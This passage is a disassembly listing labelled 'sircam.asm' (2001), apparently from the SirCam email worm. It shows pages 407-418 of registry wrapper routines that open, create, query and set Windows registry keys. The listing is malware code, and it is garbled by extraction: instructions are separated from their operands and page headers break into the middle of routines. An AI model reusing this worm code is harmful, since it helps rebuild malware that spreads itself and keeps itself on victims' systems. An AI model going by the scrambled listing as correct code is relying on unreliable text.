407 mov eax, ds:off_40BB68 call sub_402BAC mov ds:dword_41E61C, eax mov dl, 1 mov eax, ds:off_40B920 call sub_40C358 mov ds:dword_41E620, eax mov dl, 1 mov eax, ds:off_40B920 call sub_40C358 mov ds:dword_41E624, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_40E504 dd 30h, 0FFFFFFFFh, 1, 31h ; DATA XREF: DATA:0041C2F0\031o ; DATA:0041C2F4\031o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40E514 proc near ; DATA XREF: CODE:0041A930\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40E550 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E644 jnz short loc_40E542 mov eax, offset off_41C2F0 mov ecx, 2 mov edx, ds:off_401000 call sub_403BE8 loc_40E542: xor pop pop pop mov push ; CODE XREF: sub_40E514+17\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40E557 locret_40E54F: ; CODE XREF: sub_40E514+41\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E550: ; DATA XREF: sub_40E514+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40E54F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E557: sub_40E514 ; CODE XREF: sub_40E514+3B\030j ; DATA XREF: sub_40E514+36\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40E55C: ; DATA XREF: CODE:0041A92C\031o sub ds:dword_41E644, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_40E564 dd offset dword_40E5B0 ; DATA XREF: sub_40E62C+19\031r ; sub_40EA08+4F\031r ... sircam.asm dword_40E5B0 off_40E5C4 dword_40E610 dword_40E622 Fri Aug 10 12:42:44 2001 408 dd dd dd dd dd dd dd dd dd dd dd dd dd 7 dup(0) offset dword_40E5B0 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 65524512h, 74736967h, 78457972h, 74706563h, 906E6F69h ; DATA XREF: CODE:0040E564\030o ; CODE:0040E584\030o dd offset dword_40E610 ; DATA XREF: sub_415EAC+49\031r align 10h dd offset dword_40E610 dd 4 dup(0) dd offset dword_40E622 dd 1Ch dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_40E708 dd 0Eh, 10000h ; DATA XREF: CODE:0040E5C4\030o ; CODE:0040E5D0\030o db 2 dup(0) dd offset off_401000 dd 10h dd 65525409h, 74736967h ; DATA XREF: CODE:0040E5E4\030o db 72h, 79h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E62C proc near ; CODE XREF: sub_40E990+62\031p var_8 var_4 = dword ptr -8 = byte ptr -4 sub_40E62C push ebx add esp, 0FFFFFFF8h mov ebx, eax mov [esp+8+var_8], ebx mov [esp+8+var_4], 0Bh push esp push 0 mov ecx, ds:off_41DB70 mov dl, 1 mov eax, ds:off_40E564 call sub_409548 call sub_402F98 pop ecx pop edx pop ebx retn endp ; sp = -8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E658 proc near push ebx ; CODE XREF: sub_40E7C8+2F\031p sircam.asm Fri Aug 10 12:42:44 2001 409 mov ebx, eax test ebx, ebx jz short loc_40E668 cmp byte ptr [ebx], 5Ch jnz short loc_40E668 xor eax, eax pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E668: sub_40E658 ; CODE XREF: sub_40E658+5\030j ; sub_40E658+A\030j mov pop retn endp al, 1 ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E66C proc near ; CODE XREF: sub_40EA08+13\031p dec al jz short loc_40E67E dec al jz short loc_40E684 dec al jz short loc_40E68A dec al jz short loc_40E690 jmp short loc_40E696 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E67E: ; CODE XREF: sub_40E66C+2\030j mov eax, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E684: ; CODE XREF: sub_40E66C+6\030j mov eax, 2 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E68A: ; CODE XREF: sub_40E66C+A\030j mov eax, 4 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E690: ; CODE XREF: sub_40E66C+E\030j mov eax, 3 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E696: sub_40E66C ; CODE XREF: sub_40E66C+10\030j xor retn endp eax, eax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E69C proc near cmp jnz mov retn eax, 1 short loc_40E6A4 al, 1 ; CODE XREF: sub_40E8EC+3F\031p ; sub_40EA70+5E\031p sircam.asm Fri Aug 10 12:42:44 2001 410 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E6A4: ; CODE XREF: sub_40E69C+3\030j cmp eax, 2 jnz short loc_40E6AD mov al, 2 jmp short locret_40E6C1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E6AD: ; CODE XREF: sub_40E69C+B\030j cmp eax, 4 jnz short loc_40E6B6 mov al, 3 jmp short locret_40E6C1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E6B6: ; CODE XREF: sub_40E69C+14\030j cmp eax, 3 jnz short loc_40E6BF mov al, 4 jmp short locret_40E6C1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E6BF: ; CODE XREF: sub_40E69C+1D\030j xor eax, eax locret_40E6C1: sub_40E69C ; CODE XREF: sub_40E69C+F\030j ; sub_40E69C+18\030j ... retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E6C4 proc near ; CODE XREF: sub_415EAC+4E\031p push ebx push esi test dl, dl jz short loc_40E6D2 add esp, 0FFFFFFF0h call sub_402CDC loc_40E6D2: mov mov mov mov call mov mov mov test jz call pop add ; CODE XREF: sub_40E6C4+4\030j ebx, edx esi, eax edx, 80000001h eax, esi sub_40E764 dword ptr [esi+18h], 0F003Fh byte ptr [esi+0Ch], 1 eax, esi bl, bl short loc_40E702 sub_402D34 large dword ptr fs:0 esp, 0Ch loc_40E702: sub_40E6C4 ; CODE XREF: sub_40E6C4+2D\030j mov pop pop retn endp eax, esi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 411 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E708 proc near ; DATA XREF: CODE:0040E60C\030o push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, esi call sub_40E734 mov edx, ebx and dl, 0FCh mov eax, esi call sub_402BCC test bl, bl jle short loc_40E731 mov eax, esi call sub_402D2C loc_40E731: sub_40E708 ; CODE XREF: sub_40E708+20\030j pop pop retn endp esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E734 proc near ; CODE XREF: sub_40E708+D\030p ; sub_40E764+22\031p ... push ebx mov ebx, eax mov eax, [ebx+4] test eax, eax jz short loc_40E75F cmp byte ptr [ebx+0Ch], 0 jz short loc_40E74C push eax call j_RegCloseKey_0 jmp short loc_40E752 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E74C: ; CODE XREF: sub_40E734+E\030j push call eax j_RegFlushKey xor mov lea call eax, eax [ebx+4], eax eax, [ebx+10h] sub_4034C8 pop retn endp ebx loc_40E752: ; CODE XREF: sub_40E734+16\030j loc_40E75F: sub_40E734 ; CODE XREF: sub_40E734+8\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E764 proc near push push mov ebx esi esi, edx ; CODE XREF: sub_40E6C4+19\030p ; sub_415EAC+61\031p ... sircam.asm Fri Aug 10 12:42:44 2001 mov mov cmp jz cmp jz push call mov ebx, eax eax, [ebx+8] esi, eax short loc_40E78B byte ptr [ebx+14h], 0 short loc_40E781 eax j_RegCloseKey_0 byte ptr [ebx+14h], 0 mov mov call [ebx+8], esi eax, ebx sub_40E734 loc_40E781: ; CODE XREF: sub_40E764+11\030j loc_40E78B: sub_40E764 412 ; CODE XREF: sub_40E764+B\030j pop esi pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E790 sub_40E790 proc near push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax mov eax, ebx call sub_40E734 mov [ebx+4], esi lea eax, [ebx+10h] mov edx, edi call sub_40351C pop edi pop esi pop ebx retn endp ; CODE XREF: sub_40E7C8+EA\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E7B4 proc near mov test jz test jnz ; CODE XREF: sub_40E7C8+74\031p ; sub_40E7C8+A8\031p ecx, [eax+4] ecx, ecx short loc_40E7BF dl, dl short loc_40E7C3 loc_40E7BF: ; CODE XREF: sub_40E7B4+5\030j mov eax, [eax+8] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E7C3: sub_40E7B4 ; CODE XREF: sub_40E7B4+9\030j mov retn endp eax, ecx sircam.asm Fri Aug 10 12:42:44 2001 413 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40E7C8 proc near var_10 var_C var_8 var_2 var_1 = = = = = ; CODE XREF: sub_415EAC+8E\031p byte ptr -10h dword ptr -0Ch dword ptr -8 byte ptr -2 byte ptr -1 push mov add push push xor mov mov mov mov xor push push push mov lea mov call mov call mov test jnz lea mov mov call ebp ebp, esp esp, 0FFFFFFF0h ebx esi ebx, ebx [ebp+var_C], ebx [ebp+var_1], cl ebx, edx esi, eax eax, eax ebp offset loc_40E8CD dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_C] edx, ebx sub_403560 eax, [ebp+var_C] sub_40E658 ebx, eax bl, bl short loc_40E814 eax, [ebp+var_C] ecx, 1 edx, 1 sub_40396C xor mov cmp jz cmp jnz eax, eax [ebp+var_8], eax [ebp+var_1], 0 short loc_40E825 [ebp+var_C], 0 short loc_40E84F loc_40E814: loc_40E825: ; CODE XREF: sub_40E7C8+38\030j ; CODE XREF: sub_40E7C8+55\030j lea eax, [ebp+var_8] push eax mov eax, [esi+18h] push eax push 0 mov eax, [ebp+var_C] call sub_4038E8 push eax mov edx, ebx mov eax, esi call sub_40E7B4 push eax call j_RegOpenKeyExA_0 test eax, eax setz [ebp+var_2] jmp short loc_40E881 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_40E84F: lea push lea push push mov push push push push mov call push mov mov call push call test setz ; CODE XREF: sub_40E7C8+5B\030j eax, [ebp+var_10] eax eax, [ebp+var_8] eax 0 eax, [esi+18h] eax 0 0 0 eax, [ebp+var_C] sub_4038E8 eax edx, ebx eax, esi sub_40E7B4 eax j_RegCreateKeyExA eax, eax [ebp+var_2] cmp jz cmp setnz test jz push push push lea mov call ; CODE XREF: sub_40E7C8+85\030j [ebp+var_2], 0 short loc_40E8B7 dword ptr [esi+4], 0 al al, bl short loc_40E8AA dword ptr [esi+10h] offset dword_40E8E8 [ebp+var_C] eax, [ebp+var_C] edx, 3 sub_4037E4 mov mov mov call ecx, [ebp+var_C] edx, [ebp+var_8] eax, esi sub_40E790 xor pop pop pop mov push ; CODE XREF: sub_40E7C8+BD\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40E8D4 loc_40E881: loc_40E8AA: ; CODE XREF: sub_40E7C8+C8\030j loc_40E8B7: loc_40E8C4: sub_40E7C8 414 ; CODE XREF: CODE:0040E8D2\031j lea eax, [ebp+var_C] call sub_4034C8 retn endp ; sp = -2Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E8CD: ; DATA XREF: sub_40E7C8+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40E8C4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E8D4: ; DATA XREF: sub_40E7C8+F7\030o mov pop pop mov pop al, [ebp-2] esi ebx esp, ebp ebp sircam.asm Fri Aug 10 12:42:44 2001 415 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_40E8E8 dd 5Ch ; DATA XREF: sub_40E7C8+CD\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E8EC proc near ; CODE XREF: sub_40E93C+F\031p ; sub_40EAE4+5\031p var_18 = dword ptr -18h sub_40E8EC push ebx push esi push edi push ebp push ecx mov ebp, ecx mov edi, edx mov esi, eax mov eax, ebp xor ecx, ecx mov edx, 8 call sub_4028D4 lea eax, [ebp+4] push eax push 0 lea eax, [esp+8] push eax push 0 mov eax, edi call sub_4038E8 push eax mov eax, [esi+4] push eax call j_RegQueryValueExA_0 test eax, eax setz bl mov eax, [esp+18h+var_18] call sub_40E69C mov [ebp+0], al mov eax, ebx pop edx pop ebp pop edi pop esi pop ebx retn endp ; sp = -18h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E93C proc near var_4 = dword ptr -4 push push add mov mov mov mov mov ebx esi esp, esi, ebx, ecx, edx, eax, ; CODE XREF: sub_40E990+F\031p 0FFFFFFF8h edx eax esp esi ebx sircam.asm Fri Aug 10 12:42:44 2001 416 call sub_40E8EC test al, al jz short loc_40E95A mov eax, [esp+8+var_4] jmp short loc_40E95D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E95A: ; CODE XREF: sub_40E93C+16\030j or eax, 0FFFFFFFFh pop pop pop pop retn endp ecx edx esi ebx loc_40E95D: sub_40E93C ; CODE XREF: sub_40E93C+1C\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E964 sub_40E964 proc near push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax mov eax, esi call sub_403724 inc eax push eax push 1 mov eax, esi call sub_4038E8 mov ecx, eax mov edx, edi mov eax, ebx call sub_40EA08 pop edi pop esi pop ebx retn endp ; CODE XREF: sub_415EAC+BC\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E990 proc near ; CODE XREF: sub_415EAC+A9\031p push ebx push esi push edi push ebp push ecx mov edi, ecx mov ebp, edx mov esi, eax mov edx, ebp mov eax, esi call sub_40E93C mov ebx, eax test ebx, ebx jle short loc_40E9F9 mov eax, edi sircam.asm Fri Aug 10 12:42:44 2001 mov xor call push lea push mov call mov mov mov call cmp jz cmp jnz 417 ecx, ebx edx, edx sub_4035B0 ebx eax, [esp+4] eax eax, [edi] sub_4038E8 ecx, eax edx, ebp eax, esi sub_40EA70 byte ptr [esp+0], 1 short loc_40E9D9 byte ptr [esp+0], 2 short loc_40E9F0 loc_40E9D9: ; CODE XREF: sub_40E990+41\030j mov eax, [edi] call sub_4038E8 call sub_407534 mov edx, eax mov eax, edi call sub_4039FC jmp short loc_40EA00 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E9F0: ; CODE XREF: sub_40E990+47\030j mov eax, ebp call sub_40E62C jmp short loc_40EA00 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E9F9: ; CODE XREF: sub_40E990+18\030j mov call eax, edi sub_4034C8 loc_40EA00: sub_40E990 ; CODE XREF: sub_40E990+5E\030j ; sub_40E990+67\030j pop pop pop pop pop retn endp edx ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40EA08 proc near var_C var_8 var_4 arg_0 arg_4 = = = = = dword ptr -0Ch byte ptr -8 dword ptr -4 byte ptr 8 dword ptr 0Ch ; CODE XREF: sub_40E964+21\030p push mov add push push push mov mov ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi [ebp+var_4], ecx edi, edx sircam.asm Fri Aug 10 12:42:44 2001 mov mov call mov mov push mov push push push mov call push mov push call test jz mov mov lea push push mov mov mov call call ebx, eax al, [ebp+arg_0] sub_40E66C esi, eax eax, [ebp+arg_4] eax eax, [ebp+var_4] eax esi 0 eax, edi sub_4038E8 eax eax, [ebx+4] eax j_RegSetValueExA eax, eax short loc_40EA66 [ebp+var_C], edi [ebp+var_8], 0Bh eax, [ebp+var_C] eax 0 ecx, ds:off_41DBB8 dl, 1 eax, ds:off_40E564 sub_409548 sub_402F98 pop pop pop mov pop retn endp edi esi ebx esp, ebp ebp 8 loc_40EA66: sub_40EA08 418 ; CODE XREF: sub_40EA08+38\030j ; 